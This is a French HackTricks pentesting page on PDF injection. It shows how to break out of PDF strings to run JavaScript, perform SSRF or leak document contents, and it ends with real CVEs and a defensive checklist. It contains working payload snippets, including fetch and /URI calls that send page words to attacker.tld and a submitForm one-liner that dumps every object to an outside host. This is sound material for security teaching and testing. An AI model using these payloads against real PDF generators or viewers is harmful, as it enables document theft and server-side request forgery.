PDF Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Si votre entrée est reflétée dans un fichier PDF, vous pouvez essayer d’injecter des données PDF pour exécuter du JavaScript, effectuer un SSRF ou voler le contenu du PDF. La syntaxe PDF est extrêmement permissive – si vous pouvez sortir de la chaîne ou du dictionnaire qui intègre votre entrée, vous pouvez ajouter de nouveaux objets (ou de nouvelles clés dans le même objet) que Acrobat/Chrome parsera sans problème. Depuis 2024, une vague de rapports bug-bounty a montré qu’une parenthèse non échappée ou un back-slash suffit pour obtenir l’exécution complète de scripts.

TL;DR – Flux d’attaque moderne (2024-2026)

  1. Trouvez toute valeur contrôlée par l’utilisateur qui se retrouve à l’intérieur d’une (chaîne entre parenthèses), d’un champ /URI ( … ) ou /JS ( … ) dans le PDF généré.
  2. Injectez ) (fermant la chaîne) suivi de l’une des primitives ci-dessous et terminez par une parenthèse ouvrante pour garder la syntaxe valide.
  3. Livrez le PDF malveillant à une victime (ou à un service backend qui rend automatiquement le fichier – idéal pour blind bugs).
  4. Votre payload s’exécute dans la visionneuse PDF :
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (peut exfiltrer le contenu arbitraire de fichiers avec this.getPageNthWord)

Exemple (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Le premier ) ferme la chaîne URI d’origine, puis nous ajoutons un nouveau dictionnaire Action que Acrobat exécutera lorsque l’utilisateur cliquera sur le lien.

Primitives d’injection utiles

ObjectifPayload SnippetRemarques
JavaScript à l’ouverture/OpenAction << /S /JavaScript /JS (app.alert(1)) >>S’exécute instantanément à l’ouverture du document (fonctionne dans Acrobat, pas dans Chrome).
JavaScript sur lien/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Fonctionne dans PDFium & Acrobat si vous contrôlez une annotation /Link.
Exfiltration de données à l’aveugle<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Combinez avec this.getPageNthWord dans le JS pour voler du contenu.
SSRF côté serveurSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>Attachez au dictionnaire Page/Annotation/Form pour s’exécuter à l’ouverture/au focus.
Saut de ligne pour de nouveaux objets\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjSi la librairie vous permet d’injecter des caractères de nouvelle ligne, vous pouvez créer des objets totalement nouveaux.

Embedded Actions as Injection Targets

Les viewers PDF considèrent les embedded actions telles que /OpenAction et /AA (Additional Actions) comme des fonctionnalités de premier plan pouvant s’exécuter à l’ouverture d’un document ou lors du déclenchement d’un événement spécifique. Si vous pouvez injecter dans n’importe quel dictionnaire acceptant des actions (Catalog, Page, Annotation, or Form field), vous pouvez greffer un arbre /AA et déclencher du JavaScript à l’ouverture/au focus.

Exemple de payload pour generator-side object injection (fermez la chaîne/dictionnaire d’origine et injectez /AA) :

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

Ce schéma correspond à des problèmes récents de jsPDF où une entrée contrôlée par un attaquant passée à addJS (ou certains champs AcroForm) sort de la chaîne JavaScript prévue et injecte un dictionnaire Additional Action.

Astuce d’énumération aveugle

Gareth Heyes (PortSwigger) a publié un one-liner qui énumère chaque objet à l’intérieur d’un document inconnu — pratique quand vous ne pouvez pas voir le PDF généré :

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Le code parcourt le DOM d’Acrobat et effectue des requêtes sortantes pour chaque paire propriété/valeur, vous donnant un dump JSON-ish du fichier. Voir le white-paper “Portable Data exFiltration” pour la technique complète.

Bugs réels (2023-2026)

  • CVE-2026-25755 – Injection d’objet PDF via jsPDF addJS : des chaînes contrôlées par l’attaquant peuvent fermer le littéral JS et injecter des actions /AA/O/JavaScript qui s’exécutent à l’ouverture/au focus.
  • CVE-2024-4367 – Exécution arbitraire de JavaScript dans PDF.js de Firefox (versions antérieures à 4.2.67) contournait le sandbox via une action /JavaScript spécialement créée.
  • Bug bounty 2024-05 – Une grande fintech autorisait des notes de facture fournies par le client qui arrivaient dans /URI ; le rapport a été payé $10k après démonstration d’un SSRF vers un hôte de metadata interne en utilisant l’URI file:///.
  • CVE-2023-26155 – Command-injection dans node-qpdf via un chemin PDF non assaini montre l’importance d’échapper les backslashes et les parenthèses même avant la couche PDF.

Aide-mémoire défensif

  1. Ne concaténez jamais des entrées utilisateur brutes à l’intérieur de chaînes ou de noms (). Échappez \, (, ) comme l’exige la §7.3 de la spécification PDF ou utilisez des chaînes hex <...>.
  2. Si vous créez des liens, préférez /URI (https://…) que vous encodez URL complètement ; bloquez les schémas javascript: dans les viewers clients.
  3. Supprimez ou validez les dictionnaires /OpenAction, /AA (actions supplémentaires), /Launch, /SubmitForm et /ImportData lors du post-traitement des PDFs.
  4. Côté serveur, rendez les PDFs non fiables avec un headless converter (p.ex. qpdf –decrypt –linearize) qui supprime JavaScript et les actions externes.
  5. Maintenez les visionneurs PDF à jour ; PDF.js < 4.2.67 et Acrobat Reader avant les patches de juillet 2024 permettent l’exécution triviale de code.
  6. Si vous utilisez des générateurs côté client (p.ex., jsPDF), ne passez jamais d’entrée non fiable dans addJS ou les setters AcroForm qui finissent à l’intérieur des dictionnaires d’actions PDF.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks